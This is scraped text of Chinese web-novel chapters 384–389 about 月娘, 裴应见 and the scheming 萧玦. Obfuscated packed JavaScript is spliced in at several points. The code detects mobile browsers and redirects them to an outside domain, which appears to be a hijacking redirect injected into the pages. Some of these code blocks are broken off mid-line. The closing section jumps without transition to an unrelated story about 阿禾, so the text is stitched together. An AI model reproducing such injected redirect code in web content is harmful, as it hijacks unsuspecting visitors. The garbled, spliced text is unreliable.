;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她的声音,又干又哑,却像淬了毒的刀子。 她挣扎着想要坐起,动作牵扯到满身的伤口,痛得她倒吸一口凉气。 第384章 绝妙的恶毒主意 她眼角的余光,瞥见床头矮几上放着的一盆清水。 下一瞬,她用尽全身力气,一把抓起那盆水,朝着那个沉默的身影,狠狠砸了过去! “滚出去!” “哗啦——” 铜盆重重地砸在裴应见的肩上,冰冷的水泼了他满头满脸,盆子落地,发出一声刺耳的巨响。 他没有躲。 只是任由那水顺着他凌乱的发丝,淌过他毫无表情的脸,然后抬起眼,静静地看着她。 那眼神,依旧空洞。 却又像能看透她所有的色厉内荏。 铜盆砸在地上的巨响,震得窗外树枝上的秋叶簌簌而落。 裴应见立在原地,没有动。 冰冷的水顺着他凌乱的发梢滴落,浸湿了他本就破败的衣襟。 他像是感觉不到冷,也感觉不到疼。 不知过了多久,那双空洞的眼珠,终于有了一丝微不可查的转动。 他直直地看向床上那个因剧烈动作而不住颤抖的女人。 而下一瞬,却直挺挺地对着她的方向屈下了双膝。 噗通。 沉闷的声响,重重地砸在月娘的心上。 他跪在了那片混着水与泥的狼藉之中,低垂着头,姿态谦卑得像一个最忠诚的信徒,在向他的神明忏悔。 “是我……逾矩了……请郡主责罚。” 他的声音沙哑,本听不出情绪,但不知道为什么,月娘却好像在其中听出一丝丝哄的意味 月娘脑子里那根紧绷的弦,蓦地断了。 她所有刻意堆砌起来的愤怒与憎恶,所有用来自我保护的尖刺,都在他这突如其来的一跪之下,碎了个干干净净。 她看着他风尘仆仆的模样,看着他苍白如纸的脸,看着他那身尚未好全的伤…… 那颗被主上用恐惧与痛苦淬炼得坚硬如铁的心,竟像是被什么东西狠狠烫了一下,疼得她指尖发麻。 再多一句刻薄的话,她都说不出来了。 “滚……”她喉咙干涩,挤出的字眼虚弱无力,“滚出去,别再出现在我面前。” 裴应见抬起头,静静地看了她片刻,似乎在确认她话里的真伪。 随即,他顺从地站起身,没有再多说半个字,转身朝着门口走去。 就在他的身影即将消失在门外时,他忽然顿住了脚步,没有回头。 “你身上的伤……” 他问。 “是你的主上打的?” “……为何?” 月娘的心脏,被这句平淡的问话狠狠攥住。 一股比方才更汹涌、更陌生的情绪,从心底深处翻涌上来,带着酸楚与委屈,直冲她的眼眶。 她猛地捂住胸口,那里疼得厉害,让她几乎喘不过气。 她害怕这种感觉。 “滚!”她用尽最后一丝力气,嘶声吼道。 …… 庭院的阴影里,萧玦将这一切尽收眼底。 他看着裴应见踉跄离去的背影,又看向偏房内那个捂着心口、浑身发抖的月娘,脸上的表情,是从未有过的愉悦。 多有趣啊。 他亲手打造的最完美的**工具,最听话的玩物,竟然生出了心。 这本是天大的瑕疵。 可现在,他却觉得,这瑕疵……美妙得让他战栗。 一个绝妙的、恶毒的、能带来无上快感的主意,在他脑中缓缓成形。 “鬼影。”他对着空处,淡淡开口。 一道黑影悄无声息地滑出,单膝跪地,不见半分声息。 “主上。” “传令下去,”萧玦的声音里再无半分戏谑,只剩下冰冷的、不容置喙的杀意,“不必再搜捕裴应见了。” 萧玦缓缓转动轮椅,面向他,嘴角的弧度愈发残忍。 “去找神医云承月。” “不惜一切代价,将他带来。” “本座要他……治好裴应见。” 鬼影猛地抬头,眼中第一次流露出毫不掩饰的震惊:“主上,为何?裴应见他……” “你不用明白。”萧玦打断他,语气里透着一丝不耐。 他像是想起了什么,那抹残忍的笑意更深了。 “还有,云承月的心疾与眼疾,皆已痊愈。找人的时候,莫要找错了。” 鬼影这次是真的骇住了:“可传闻神医的心疾乃是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124228|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天生……” 而且云承月自己的医术已是登峰造极,却也无法治自己的病。 萧玦只是冷笑,并不解释。 他当然知道。 虽然没有亲眼看到,但他早已察知,云承月想办法去了现代,秦绵绵帮他联系了医院,治好了先心病,换了眼角膜…… 云承月现在,已经是一个正常人了。 他甚至应该已经不像他一样还需要坐轮椅了。 一想到这里,萧玦的脸又立刻阴冷了下来。 “去办。” 鬼影压下心头的惊涛骇浪,领命,身形再次融入黑暗。 萧玦的目光,重新投向那两间相隔不远的偏房。 不知道过了多久,月娘那屋的房门,发出一声轻微的“吱呀”声。 一道裹着厚厚披风的纤瘦身影,扶着墙,一步步,疼得浑身发颤,却还是固执地挪到了裴应见的屋子门口。 她没有进去,只是在门口站着,静静地远远地看着。 夜风吹起她的发丝,月光下,她的身影显得孤单又可怜。 萧玦嘴角的笑意,愈发浓郁。 他忽然有些迫不及待了。 他要治好裴应见,让他恢复神智,让他记起所有。 他想看看,当裴应见记起他心心念念的那个“绵绵”另有其人时,当他明白这些天来他一直虔诚信仰的“主人”是这样一个残忍的**工具时。 他这件有了瑕疵的、会心痛的玩物,脸上会是怎样一副精彩的表情。 那一定,比将她凌迟至死,还要有趣。 …… 往后几日,裴应见就如一个影子,寸步不离地守在了月娘的偏房外。 他不说话,不会笑,只是每日天不亮便端着熬好的汤药和清粥,沉默地走进那间弥漫着苦涩味道的屋子。 第一天,月娘将滚烫的药碗砸在了他脚边。 “滚出去!” 他没滚,只是蹲下身,用那双布满薄茧的手,将碎瓷片一点点捡干净,然后端了一碗清粥,重新跪在了床边。 第二天,她没砸东西,只是用淬了冰的眼神死死地盯着他。 “我不想看见你。” 第385章 让他走 他像是没听懂,固执地用汤匙舀起药汤,吹凉了,递到她嘴边。 僵持了半个时辰,直到药彻底冷掉,他才默默退下,半个时辰后,又端来一碗热的。 到了第三天,月娘醒来时,他已经坐在了角落的阴影里,像一尊石雕,若不是胸口有微弱的起伏,与死物无异。 她没有再骂,也没有再扔东西。 只是屋子里的气氛压抑得让人喘不过气。 她恨这种感觉。 恨他那双空洞的眼睛,仿佛能看穿她所有色厉内荏的伪装。 更恨自己,那颗被千锤百炼、本该坚如铁石的心,竟会因为这道沉默的影子,而生出不该有的波澜。 她甚至会下意识地去听院子里的脚步声,在判断出是他之后,心底会掠过一丝连她自己都觉得荒谬的……安定。 这简直比杀了她还让她难受。 …… 郡主府的主院内,萧玦正悠闲地喂着池子里的锦鲤。 鬼影悄无声息地出现在他身后,单膝跪地。 “主上,宫里传来消息,陛下旧疾又犯了,咳血不止。太医院束手无策,动用了所有眼线,在京城内外,都找不到神医云承月的踪迹。” 萧玦撒下鱼食的手顿了一下,随即,嘴角勾起一抹意料之中的弧度。 “找不到?”他轻笑出声,那笑声在寂静的庭院里显得格外冰冷,“自然是不容易找到的。” 鬼影不解,却不敢多问。 萧玦转动轮椅,目光投向偏房的方向,眼神里满是玩味。 这世上能让**开口的法子有很多,能让一个活人出现的法子,自然也不少。 “让月娘来见我。” 月娘被带到主院时,萧玦正在修剪一盆病态的兰花。 他甚至没抬头,只是用银剪子,慢条斯理地剪去一片枯黄的叶子,声音温和得如同春风拂面。 “那条狗,你养得还习惯吗?” 月娘的心猛地一沉,垂下眼帘,声音听不出情绪:“月娘不敢妄言。” “哦?”萧玦终于抬起头,那张俊美无俦的脸上,带着悲天悯人般的微笑,“可我瞧着,你倒是挺喜欢。若非如此,又怎会容他留在你房里?” 月娘的指尖,在袖中狠狠掐进了掌心。 萧玦放下剪子,缓缓转动轮椅,来到她面前,仰头看着她苍白的脸。 “我今天要与你说一件事。虽然你很喜欢这条狗,但他到底曾是大雍的侯爵,也曾为百姓**,为一方赈灾,多少也算国之栋梁……你我虽为陛下做事,但陛下……也并非事事都对。” 他的声音,带着一种蛊惑人心的魔力。 “你看,他已经被折辱至此,成了废人一个,连条狗都不如。再关下去,也没什么意思了。” 月娘猛地抬头,眼中满是震惊与不解:“主上的意思……” “放了他吧。”萧玦轻描淡写地说道,仿佛在说一件再寻常不过的小事,“给他一条活路,也算是……为陛下……为大雍积些阴德。” “让他走,让他滚得远远的,再也别出现在京城。” 月娘彻底懵了。 她看着萧玦脸上那悲悯的神情,只觉得一股寒气从脚底直冲天灵盖。 主上会发善心? 绝不可能! 可…… “此事,我不逼你。”萧玦见她不语,嘴角的笑意更深了,“你回去好好想想。什么时候想通了,什么时候来告诉我。” 他说完,便不再看她,转动轮椅,重新回到了那盆兰花前。 月娘浑浑噩噩地走出了主院。 脑子里,全是萧玦那句“放了他吧”。 为什么? 主上到底想做什么? 她想不明白,也不敢去想。 那背后,必然是比直接杀了裴应见更残忍、更恶毒的算计。 她脚步虚浮,不知不觉,竟走到了裴应见那间破败的偏房门口。 门,虚掩着。 里面传来哗哗的水声。 月娘鬼使神差地伸出手,轻轻推开了那扇门。 热气混着水汽扑面而来。 屋子正中,放着一只半旧的木桶。 那个男人,正背对着她,坐在桶里。 水只及到他的腰腹,他微低着头,正用布巾擦拭着自己的手臂。 月娘的呼吸,在那一刻停滞了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134909|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 氤氲的水汽弥漫在眼前。 水珠儿顺着他的古铜色皮肤,从肩背慢慢流下来。 他的背宽阔而结实,本该是一道赏心悦目的风景线。 可现在那上面布满了纵横交错的疤痕。 有陈年的刀伤,狰狞如蜈蚣,也有崭新的鞭痕,皮开肉绽……那是她亲手加在他身上的刑罚。 新伤叠着旧伤,像一幅残破而恐怖的画卷,铺满了他的整个后背。 似乎是察觉到了门口的视线,裴应见擦拭的动作一顿。 他缓缓地转过身来。 水珠顺着他坚毅的下颌滑落,淌过他线条分明的胸膛,最后没入水中。 他看着她,那双空洞的眼睛里,没有惊慌,没有羞耻,只有一片死寂的平静。 仿佛被看的不是他,而是别的什么东西。 月娘的心像是被一只大手狠狠攥住,疼得她无法呼吸。 她觉得自己好像忽然明白了。 萧玦不是在给她选择。 萧玦是在逼她,逼她亲手将这唯一的、能让她感觉到一丝暖意的火苗,彻底掐灭。 因为只有这样,她才能变回那把最好用的、最没有感情的刀。 月娘缓缓地闭上了眼睛。 再睁开时,眼中所有的挣扎与痛楚,都已化作一片冰冷的死灰。 她转身走回主院,同意了萧玦的决定。 …… 次日,天还未亮,月娘便已起身。 她翻出自己从前出远门常用的包袱皮,开始一点点地收拾东西。 很多,很细,她一件件整理,然后一一仔细地放进包袱里。 她的动作很慢,每一个步骤都像是经过了千百遍的演练,冷静得没有半分情绪。 仿佛她收拾的不是一个人的行囊,而是在准备一件再寻常不过的工具。 就在她将包袱的最后一个角系好时,房门被轻轻推开了。 裴应见端着一碗尚冒着热气的汤药,走了进来。 他的目光,第一时间便落在了月娘手中的那个包袱上。 他脚步一顿,那双空洞的眸子里,有什么东西极快地闪动了一下,快得像是错觉。 第386章 是不是玩腻了 “郡主……要出远门?” 他的声音依旧沙哑,却似乎比平日里多了一丝不易察明的情绪。 月娘的心口像是被针扎了一下。 她下意识地将包袱藏到身后,冷声道:“不关你的事。” 裴应见立刻垂下眼,那点微光瞬间熄灭,又变回了那具没有灵魂的躯壳。 “是……奴才逾矩了。” 月娘看着他这副顺从的模样,胸口那股无名的火气烧得更旺了。 她猛地将身后的包袱抓起,朝着他怀里,狠狠地砸了过去。 “这是给你的!”包袱不算重,砸在裴应见身上,发出一声闷响。 他下意识地伸手接住,茫然地看着她。 月娘别开脸,不去看他那张迷惑的脸,声音冷得像冰。 “拿着它,滚出郡主府。” “从今往后,你不再是我郡主府的奴才,更不是我养的狗!” 裴应见抱着那个尚带着她指尖温度的包袱,僵在了原地。 他没有动,也没有说话,就那么直挺挺地站着,像一尊失了魂的石像。 月娘背对着他,指甲深深地陷进掌心,用疼痛来维持着自己声音的平稳。 可她能清晰地感觉到,那道视线像烙铁一样烫在她的背上。 那颗本该坚硬如铁的心,正被这道沉默的视线,搅得翻江倒海。 她用尽了全身的力气,才克制住自己没有回头。 “怎么?还不滚?”她的声音里,淬满了最恶毒的刻薄,“是不是当狗当上瘾了,舍不得走了?” 话音刚落,身后,却传来一声沉闷的、膝盖骨砸在地上的声响。 噗通! 月娘的身子猛地一颤。 她听见他用一种颤抖的、破碎的、几乎不成调的声音,艰难地问: “郡主……是不是……” “是不是……玩腻……我了?” 轰—— 月娘脑子里最后一根弦彻底崩断。 她再也支撑不住,猛地转过身,双目赤红地瞪着跪在地上的男人。 “滚!”她嘶吼着,随手抓起桌上的茶杯,狠狠地朝他砸了过去。 “滚出去!” 瓷杯擦着他的脸颊飞过,在墙上撞得粉碎。 他却一动不动,只是抬起头,用那双空洞又悲哀的眼睛,死死地看着她。 月娘像是疯了,将手边所有能扔的东西,一件接着一件,全都砸向了他。 “我让你滚!你听不懂吗!” …… 不知过了多久,屋子里终于安静了下来。 裴应见在一片狼藉之中,缓缓地站起身。 他深深地看了她最后一眼,然后拿起包袱,一步一步,踉跄地朝门口走去。 他的脚步很慢,每一步都像踩在月娘的心上。 走到门口时,他停了下来,回头。 又走。 又回头。 如此三番,他才终于消失在了门外。 月娘背对着那扇洞开的门,站了很久很久。 久到屋子里的热气散尽,冷风灌了进来,她才像一具被抽走了所有骨头的木偶,缓缓地、僵硬地转过身。 庭院里,空空荡荡。 那棵老槐树的叶子,又落了几片。 再也没有那道沉默的、令人心烦又心安的影子了。 忽然,她感觉眼角有些湿润,有些痒。 她下意识地抬手一抹。 指尖竟沾上了一滴温热的、晶莹的液体。 是……眼泪? 月娘怔怔地看着自己指尖的那滴水珠,整个人都僵住了。 她从未流过泪。 主上说,眼泪是这个世界上最无用的东西,是弱者的象征。 她怎么会…… 一股比被鞭笞、被烙印还要陌生的恐惧与剧痛,瞬间攫住了她的心脏…… 庭院的角落里,萧玦坐在轮椅上,将这一切从头到尾尽收眼底。 他看着月娘那副失魂落魄、甚至因为一滴眼泪而震惊恐惧的模样,嘴角的弧度,愉悦地扬了起来。 这才对。 这才是一出好戏的……开端。 …… 郡主府的朱漆大门,在他身后缓缓合上。 裴应见抱着那个包袱,走在京城清晨的街道上。 天光尚早,街上行人稀疏,青石板路泛着秋天隔夜的寒气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134910|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他没有目的,只是往前走,踩着自己的影子,像个被抽去魂魄的游魂。 他穿过叫卖早点的摊贩,穿过提着水桶的妇人,对周遭的一切都视而不见,听而不闻。 怀里的包袱,是这个世界上他唯一能感知到的东西——带着那人指尖残留的温度。 不知走了多久,他拐进条僻静的巷子。 几个游手好闲的地痞,正靠在墙根下打着哈欠,瞧见他这副失魂落魄、衣衫破败的模样,眼中顿时亮起不怀好意的光。 “哟,这不是咱们那位战功赫赫的裴侯爷吗?”为首的刀疤脸怪笑起来,拦住了他的去路,“怎么,这是被郡主府赶出来了?瞧这丧家之犬的样儿!” 同伙们哄笑起来,污言秽语不绝于耳。 裴应见停下脚步,空洞的眼神没有半点焦距,仿佛他们只是几块挡路的石头。 刀疤脸见他不作声,愈发得意,伸手就去推他的肩膀: “哑巴了?当初不是很威风吗?听说你可喜欢给那个郡主当狗了,来,跟爷们叫两下子听听!” 裴应见任由他推搡,身形晃了晃,依旧毫无反应。 刀疤脸觉得无趣,目光落在了他死死抱在怀里的包袱上。 “怀里揣着什么宝贝呢?拿来给爷看看!” 说着,他便伸手去抢。 就在他的脏手即将触碰到包袱的瞬间,一直如木偶般的裴应见,那双死寂的眸子里,骤然闪过骇人的寒光。 他的手臂肌肉瞬间绷紧,杀气如实质般迸发出来。 巷子里的空气,仿佛都凝固了。 就在他即将出手的那刻—— “住手!”巷口传来声苍老的怒喝,“你们这群泼皮!敢对侯爷无礼!” 一个提着菜篮的老汉快步冲了进来,身后还跟着几个义愤填膺的街坊。 他们不由分说,将裴应见护在身后,怒视着那几个地痞。 “是裴侯爷!你们这群畜生,连裴侯爷都敢欺负!” “当年要不是侯爷带人筑堤,俺们老家片早就被洪水淹了!侯爷对俺们有恩!” “去年雪灾侯爷还在京郊施粥来着,大雪天的救了多少人的命!你们的良心被狗吃了!” 第387章 她真的不要他了 刀疤脸几人没料到会惹来众怒,看着街坊们同仇敌忾的模样,啐了口唾沫,不甘地骂咧着退走了。 “侯爷,您……您没事吧?”为首的老汉转过身,看着裴应见满身的尘土与破败,浑浊的老眼里涌上泪光,“您……您受苦了啊!” 他身后的大婶也红了眼圈,从篮子里拿出两个还热乎的菜包子,硬要往裴应见手里塞。 裴应见看着他们,眼神里的杀气缓缓褪去,又恢复了那种茫然的空洞。 老汉叹了口气,拉住他的手臂: “侯爷,您看您这身……若不嫌弃,先到老汉家里去,换身干净衣裳,喝口热水吧。” 裴应见没有点头,也没有摇头,只是顺着老汉的力道,被他牵着,走进了巷子深处那座低矮的院门。 老汉的家很局促,屋里陈设简陋,却收拾得干净。 “您先坐。”老汉局促地擦了擦条长凳,回头在自家那口旧木箱里翻找起来。 翻了半天,只找出件打了好几块补丁的粗布短衫。 老汉拿着那件衣裳,脸涨得通红,窘迫地站在原地,半晌才不好意思地开口: “侯爷……老汉家里穷,实在没件像样的衣裳……不知您……您那包袱里,可带有换洗的?” 裴应见闻言,低头看向怀里的包袱。 他沉默着,将包袱放在腿上,解开了那个被她系得很紧的绳结。 包袱皮摊开。 里面的东西,整整齐齐地码放着。 一件深蓝色的棉布长衫,叠得方方正正,旁边是条同色的裤子。 料子不名贵,却厚实耐磨,很显然是为了秋冬季节准备的。 底下还有套薄些的灰色短打,方便行动。 最下面,是双崭新的千层底布鞋,鞋底纳得密密实实,针脚均匀。 除了衣物,还有个挺大的油布包。 裴应见打开,里面是许多干粮。 虽然简单,但量很大,结实管饱,能吃很久。 旁边是个沉甸甸的钱袋,里面装着的不是大块金银,而是许多碎银子,和不知道多少的银票。 足够沿途花销,又不会过分惹眼。 在钱袋旁边,还压着只小小的白瓷瓶。 裴应见拿起瓷瓶,拔开木塞,股熟悉的药膏气味飘了出来。 是上好的金疮药。 治他身上那些鞭伤,最是有效。 他拿着那只小小的瓷瓶,整个人都僵住了。 他想起她砸东西时那张狰狞的脸,想起她淬着毒的刻薄话语。 “滚出去!” …… “是不是当狗当上瘾了?” …… 可这包袱里,是过冬的厚衣,是赶路的便装,是充饥的干粮,是疗伤的药膏,是怕他没钱的银子…… 这哪里是打发条狗。 这分明是……是怕他路上会冷,会饿,会受伤,会没钱花。 她把他赶走,却又为他准备好所有。 那声嘶力竭的怒吼,那不顾一切的决绝,背后藏着的,竟是这样周全到令人心头发烫的细致。 为什么? 裴应见的心,像是被投入了颗烧红的石子,那片死寂的湖面,瞬间沸腾起来。 “侯爷?侯爷?”老汉见他拿着药瓶发呆,小心翼翼地喊了两声,“您……要不先换衣裳?” 裴应见猛地回神。 他看也没看那些准备好的衣物,而是迅速地将所有东西重新包好,系紧。 然后,他站起身,对着满脸错愕的老汉,深深地鞠了躬。 “多谢老丈。” 他的声音依旧沙哑,却似乎不再那么空洞。 说完,他抱着那个包袱转身就往外走。 他不再是漫无目的。 他的每步,都迈得又急又稳,方向明确。 他要回郡主府去。 …… 郡主府的朱漆大门就在眼前。 裴应见抱着那个包袱,像抱着一块滚烫的烙铁,又像抱着世间唯一的珍宝。 他回来了。 他不管她为何要赶他走,也不管她那些话是真是假。 他只知道,那个包袱里的一切,都在告诉他,她其实不想他走。 这就够了。 然而,他刚踏上门前的石阶,旁边门房里就蹿出个尖嘴猴腮的家丁,手里还拎着根扫帚,一脸的不耐烦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134911|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “去去去!哪来的叫花子,滚远点!” 那家丁看清来人是裴应见,先是一愣,随即脸上就变成了毫不掩饰的鄙夷与嚣张。 “哟,我当是谁呢,这不是咱们裴……哦不,这不是郡主养的那条狗吗?”他故意拉长了音调,尖酸刻薄,“怎么,被赶出去了还想回来摇尾乞怜?郡主一早就出远门了,临走前可留了话,说你要是再敢出现在郡主府门口,就直接……打断你的腿!” 家丁说着,还故意用扫帚柄在他面前比划了一下,满脸的幸灾乐祸。 裴应见站在原地,没有动。 那双空洞的眼睛看着家丁,却没有看他,仿佛在透过他,看着别的什么东西。 他没有愤怒,也没有反驳,只是那么站着,任由那些羞辱的言语像脏水一样泼在他身上。 “听见没有?滚!” 家丁见他不还手,胆子更大了,上前一步,一把将他推下石阶。 裴应见踉跄了一下,险些摔倒,怀里的包袱却抱得更紧了。 他转身,默默地走了。 身后,是家丁得意的唾骂和朱漆大门“哐当”一声重重合上的巨响。 天,不知何时阴沉了下来。 冷风卷着乌云,从天边压过来,京城繁华的街道,瞬间失了颜色。 裴应见走在街上,像一个没有方向的游魂。 她把他赶走之后,自己也走了。 去了哪里不知道,也不许他再回郡主府去。 她……真的不要他了。 **该去哪里。 怀里的包袱是她留下的。 可这个天下,却再没有一个地方,能让他回去了。 豆大的雨点,毫无征兆地砸了下来。 起先是几滴,转瞬之间,便成了瓢泼之势。 街上的行人尖叫着四散奔逃,寻找避雨的屋檐,只有他,依旧不疾不徐地往前走着。 冰冷的雨水瞬间浇透了他单薄的衣衫,顺着他凌乱的发丝,淌过他毫无表情的脸。 冷。 刺骨的寒意,从皮肤渗进骨髓。 他麻木地走着,走出了城门,走上了通往城外的泥泞官道。 第388章 他的舌头是我割的 雨越下越大,天地间一片白茫茫的水汽,分不清方向,也看不见前路。 他只是走。 脚下的泥水溅起,弄脏了他本就脏兮兮的衣裳。 他用力抱紧了怀里的包袱,害怕包袱里的东西也被弄脏。 可怀里的包袱还是被雨水浸透,变得沉重无比。 力气,正一点点地从身体里抽离。 眼前的景物开始旋转,模糊…… 终于,他再也支撑不住,身子一软,重重地向前栽倒。 泥水溅了他满脸。 在意识彻底沉入黑暗的前一刻,他仿佛看见雨幕之中,有几道熟悉的身影,正拼了命地朝着自己奔来…… 可他想不起来他们是谁了。 …… 再醒来时,鼻尖萦绕着一股淡淡的草药味,和柴火燃烧的干燥气息。 身下是温暖干燥的床铺,身上盖着厚实的棉被。 他缓缓睁开眼,映入眼帘的,是陌生的、用黄土夯成的墙壁,和一根根熏得发黑的房梁。 这里是一户山中农家。 “侯爷!侯爷您醒了!” 床边,一个面带风霜、眼眶通红的年轻男子见他睁眼,激动得声音都变了调。 他扑到床边,颤声问:“侯爷,您……您还认得我吗?我是青义啊!” 裴应见转动眼珠,看向他。 青义…… 一个熟悉又遥远的名字。 他张了张嘴,却发不出声音。 “别急,你身子还很虚。” 一个清越温和的声音响起。 裴应见循声望去,只见屋子另一侧,站着一个身穿白衣的俊逸男子。 那男子眉目如画,气质出尘,与这简陋的农舍格格不入。 “我……我叫云承月。” 白衣男子目中含悲,仿佛不情不愿,但还是做了自我介绍。 裴应见也觉得他很眼熟,盯着他看了好半天,却还是没想起他是谁。 最后,他的目光越过他,落在了他身后那张床上。 那里,还躺着一个人。 那人面色灰败,双目紧闭,胸口微弱地起伏着,整个人蜷缩成一团,像是正承受着巨大的痛苦,气息微弱得仿佛随时都会断绝。 可裴应见还是一眼就认出了他。 “……青川。” 沙哑的、几乎听不清的两个字,从他干裂的嘴唇里挤了出来。 “侯爷!”青义的眼泪,瞬间夺眶而出,“您还记得……您还记得我们!” 他哽咽着,指着床上那个半死不活的人,悲声道: “您被赶出来之后,那个毒妇把青川也扔了出来,就扔在大街上!我们的人盯了好久,才敢趁乱把他救回来,又赶紧去找您……” “青川他……他伤得太重了……”青义突然又落下一行泪来,又赶紧擦去,“不过侯爷您别担心,我们都逃出来了,也把您和青川救出来了!云神医一定会治好您,也一定会救活青川的!” 他抹了把泪,强忍着悲痛,对云承月道: “云神医,您先给侯爷看看吧,侯爷的身子要紧!” 谁知话音未落,床上的青川忽然剧烈地抽搐起来! 他猛地睁开眼,眼球暴突,布满血丝,喉咙里发出“嗬……嗬……”的、如同破风箱般的声响。 他痛苦地扭动着,双手在空中胡乱抓挠,指甲在床板上划出刺耳的声音,却一个字都喊不出来。 那副模样,惨烈至极。 “不好!”云承月脸色一变,快步上前,与青义一起按住他。 青义看着青川痛苦的样子,目眦欲裂,嘶声怒骂: “秦月娘!你这个蛇蝎毒妇!她,她竟然割了青川的舌头……” “手段何其残忍……秦月娘,我青义若不死,定要将你**万段!” 裴应见呆呆地看着青川那张因极度痛苦而扭曲的脸。 看着他张着嘴,却发不出任何求救的声音。 忽然,一滴滚烫的液体,从他空洞的眼眶中滑落,砸在了粗糙的被面上。 他像是被抽走了所有的力气,又像是被什么东西击垮了。 在青义的怒骂声和青川痛苦的挣扎声中,他用一种破碎到不成调的声音,轻轻地说: “他的舌头……” “……是我割的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139472|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > …… 顾老实心里那杆秤瞬间就沉了下去。 赵老四这人,他是知道的。 无利不起早,平日里见了面都恨不得绕道走的人,今儿个提着东西三更半夜地摸上门,嘴里说着求见阿禾,那眼神却跟狼见了肉似的,透着一股子算计。 他一个大男人,能有什么事要求一个姑娘家? 顾老实心里一百个不乐意,生怕自家闺女刚跳出王二癞子那个火坑,又被这村里的老油条给缠上。 “四兄弟,太晚了,阿禾都睡下了。”他把着门,身子堵得严严实实,话里已经带了送客的意思,“再说了,她一个姑娘家,能懂什么?你家要真有事,明儿个去镇上找个讼师问问,不比问她强?” 这话就说得有些重了。 赵老四脸上的那点局促瞬间就挂不住了,他提着篮子的手紧了紧,黝黑的脸涨成了猪肝色,正要开口辩解两句,里屋的门帘却“哗啦”一声被掀开了。 阿禾披着件外衫走了出来,头发松松地挽着,月光下,那张精致的小脸非但没有半分睡意,反而清明得像一汪秋水。 “爹,夜里风凉,让四叔进来说话吧。” 她声音不高,却像一颗石子,精准地投进了这僵持的局面里。 顾老实回头,见闺女一脸平静,那股子护犊子的火气不知怎么就泄了半。 他叹了口气,终究还是侧过身,让出了一条道。 赵老四如蒙大赦,连忙矮着身子溜了进来,把篮子往堂屋的破桌上一放,搓着手,局促不安地看着阿禾。 阿禾也没看他,径自走到桌边倒了碗凉白开,自己捧着喝了一口,才慢悠悠地开了腔。 “四叔,您有事问我,我可以听。” 赵老四眼睛一亮,刚要开口,就听阿禾继续说道: “但是,我丑话说在前头。您也瞧见了,我今天刚跟王二癞子了结了一桩事。这名声传出去,往后像您这样上门求助的叔伯婶子,怕是不会少。” 她顿了顿,目光清凌凌地落在赵老四那张既期待又紧张的脸上。 “人情帮得了一次,帮不了次次。所以,我的规矩是……要收费的。” 第389章 付费咨询 “收……收费?”赵老四一愣,连顾老实和刚从里屋探出头的顾大娘都愣住了。 “嗯。”阿禾点点头,神色坦然得像是在说今天天气不错,“不贵。您先付十个铜板,我听您把事情原委说清楚。若是我觉得这事我办不了,这十个铜板就当您请我喝了碗茶,您另请高明。” “若是我接了,事儿没办成之前,我再不收您一个子儿。等事情圆满解决了,您再按着这事里头牵扯到的银钱,给我抽百分五的谢礼。若是事情不牵扯银钱,咱们就按镇上讼师的最低价来算。” 她一番话说得清清楚楚,条理分明。 赵老四却听得云里雾里,他只听懂了要先给十个铜板,后面的却犯了难:“……百分五?那……那是个啥?” 